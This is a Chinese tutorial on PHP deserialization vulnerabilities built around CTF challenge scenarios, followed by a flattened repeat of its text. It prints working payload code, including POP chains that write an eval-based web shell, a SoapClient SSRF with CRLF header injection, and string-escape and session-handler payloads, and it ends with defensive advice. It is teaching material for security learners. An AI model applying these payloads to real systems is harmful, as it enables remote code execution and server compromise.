反序列化的那些事儿
字数 1540 2025-08-13 21:33:25

PHP反序列化漏洞详解

一、反序列化基础概念

反序列化是将序列化的数据重新转换为原始数据结构的过程。在PHP中,unserialize()函数用于执行此操作,但如果不当使用会导致严重的安全漏洞。

二、PHP魔法函数

理解反序列化必须先了解PHP的魔法函数(Magic Methods),它们在特定时机自动触发:

  1. __sleep() - 对象被序列化之前运行
  2. __wakeup() - 反序列化之后立即调用(当反序列化时变量个数与实际不符时会绕过)
  3. __construct() - 对象创建时触发,进行初始化
  4. __destruct() - 对象销毁时触发
  5. __toString() - 对象被当作字符串使用时触发
  6. __call() - 在对象上下文中调用不可访问的方法时触发
  7. __callStatic() - 在静态上下文中调用不可访问的方法时触发
  8. __get() - 从不可访问的属性读取数据时调用
  9. __set() - 向不可访问的属性写入数据时调用
  10. __isset() - 在不可访问的属性上调用isset()empty()时触发
  11. __unset() - 在不可访问的属性上使用unset()时触发
  12. __invoke() - 当脚本尝试将对象调用为函数时触发

三、序列化属性格式

不同可见性属性的序列化格式:

  • private变量\x00类名\x00变量名
  • protected变量\x00*\x00变量名
  • public变量:直接显示变量名

四、反序列化漏洞利用场景

场景1:简单属性修改

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }
    }
}

利用方法

  1. 构造一个ctfShowUser对象
  2. isVip属性设为true
  3. 序列化该对象并通过Cookie传递

Payload构造

class ctfShowUser{
    public $isVip=true;
    public $username='a';
    public $password='a';
}
$o=new ctfShowUser();
echo serialize($o);

场景2:利用__destruct和危险函数

class ctfShowUser{
    private $class;
    public function __destruct(){
        $this->class->getInfo();
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

利用方法

  1. 创建ctfShowUser对象
  2. 将其class属性设置为backDoor对象
  3. backDoor对象中设置恶意代码

Payload构造

class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code;
    public function __construct(){
        $this->code='file_put_contents("./shell.php","<?php @eval(\$_POST[1]);?>");';
    }
}
$o=new ctfShowUser();
echo urlencode(serialize($o));

场景3:原生类利用(SoapClient SSRF)

$vip = unserialize($_GET['vip']);
$vip->getFlag();

利用方法
使用SoapClient类进行SSRF请求,绕过IP限制

Payload构造

$payload= array(
    'user_agent' => "Flowers_BeiCheng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
    'uri' => 'Flowers_BeiCheng',
    'location' => 'http://127.0.0.1/flag.php'
);
$a = new SoapClient(null,$payload);
echo urlencode(serialize($a));

场景4:字符串逃逸

$umsg = str_replace('fuck', 'loveU', serialize($msg));

利用方法
利用字符串替换导致的序列化结构破坏,注入恶意属性

Payload构造

f=1&m=1&t=fuckfuckfuck...fuck";s:5:"token";s:5:"admin";}

(需要27个fuck,因为每次替换增加1字符,共需增加27字符)

场景5:session反序列化

处理器差异

  • php:键名+竖线+序列化值
  • php_binary:键名长度ASCII+键名+序列化值
  • php_serialize:序列化后的数组

安全问题
当序列化和反序列化使用的处理器不同时,可能导致数据被错误解析。

利用方法

  1. 使用php_serialize处理器写入session
  2. 使用php处理器读取时,|后的内容会被反序列化

Payload构造

class User{
    public $username;
    public $password;
}
$o=new User('shell.php','<?php @eval($_POST[1]);?>');
echo base64_encode('|'.serialize($o));

五、防御措施

  1. 不要反序列化不可信数据
  2. 使用json_encode()/json_decode()替代
  3. 实现__wakeup()__destruct()时进行安全检查
  4. 使用PHP 7的allowed_classes选项限制反序列化的类
  5. 保持序列化和反序列化使用相同的处理器

六、高级利用技巧

  1. POP链构造:通过多个类的魔法方法串联形成利用链
  2. 框架漏洞利用:研究ThinkPHP、Yii等框架的反序列化链
  3. phar反序列化:通过phar协议触发反序列化
  4. 类型混淆:利用PHP弱类型特性绕过检查

通过深入理解这些技术点,安全研究人员可以更好地发现和防御反序列化漏洞,开发者也能够编写更安全的代码。

PHP反序列化漏洞详解 一、反序列化基础概念 反序列化是将序列化的数据重新转换为原始数据结构的过程。在PHP中, unserialize() 函数用于执行此操作,但如果不当使用会导致严重的安全漏洞。 二、PHP魔法函数 理解反序列化必须先了解PHP的魔法函数(Magic Methods),它们在特定时机自动触发: __sleep() - 对象被序列化之前运行 __wakeup() - 反序列化之后立即调用(当反序列化时变量个数与实际不符时会绕过) __construct() - 对象创建时触发,进行初始化 __destruct() - 对象销毁时触发 __toString() - 对象被当作字符串使用时触发 __call() - 在对象上下文中调用不可访问的方法时触发 __callStatic() - 在静态上下文中调用不可访问的方法时触发 __get() - 从不可访问的属性读取数据时调用 __set() - 向不可访问的属性写入数据时调用 __isset() - 在不可访问的属性上调用 isset() 或 empty() 时触发 __unset() - 在不可访问的属性上使用 unset() 时触发 __invoke() - 当脚本尝试将对象调用为函数时触发 三、序列化属性格式 不同可见性属性的序列化格式: private变量 : \x00类名\x00变量名 protected变量 : \x00*\x00变量名 public变量 :直接显示变量名 四、反序列化漏洞利用场景 场景1:简单属性修改 利用方法 : 构造一个 ctfShowUser 对象 将 isVip 属性设为 true 序列化该对象并通过Cookie传递 Payload构造 : 场景2:利用 __destruct 和危险函数 利用方法 : 创建 ctfShowUser 对象 将其 class 属性设置为 backDoor 对象 在 backDoor 对象中设置恶意代码 Payload构造 : 场景3:原生类利用(SoapClient SSRF) 利用方法 : 使用SoapClient类进行SSRF请求,绕过IP限制 Payload构造 : 场景4:字符串逃逸 利用方法 : 利用字符串替换导致的序列化结构破坏,注入恶意属性 Payload构造 : (需要27个 fuck ,因为每次替换增加1字符,共需增加27字符) 场景5:session反序列化 处理器差异 : php :键名+竖线+序列化值 php_binary :键名长度ASCII+键名+序列化值 php_serialize :序列化后的数组 安全问题 : 当序列化和反序列化使用的处理器不同时,可能导致数据被错误解析。 利用方法 : 使用 php_serialize 处理器写入session 使用 php 处理器读取时, | 后的内容会被反序列化 Payload构造 : 五、防御措施 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代 实现 __wakeup() 或 __destruct() 时进行安全检查 使用PHP 7的 allowed_classes 选项限制反序列化的类 保持序列化和反序列化使用相同的处理器 六、高级利用技巧 POP链构造 :通过多个类的魔法方法串联形成利用链 框架漏洞利用 :研究ThinkPHP、Yii等框架的反序列化链 phar反序列化 :通过phar协议触发反序列化 类型混淆 :利用PHP弱类型特性绕过检查 通过深入理解这些技术点,安全研究人员可以更好地发现和防御反序列化漏洞,开发者也能够编写更安全的代码。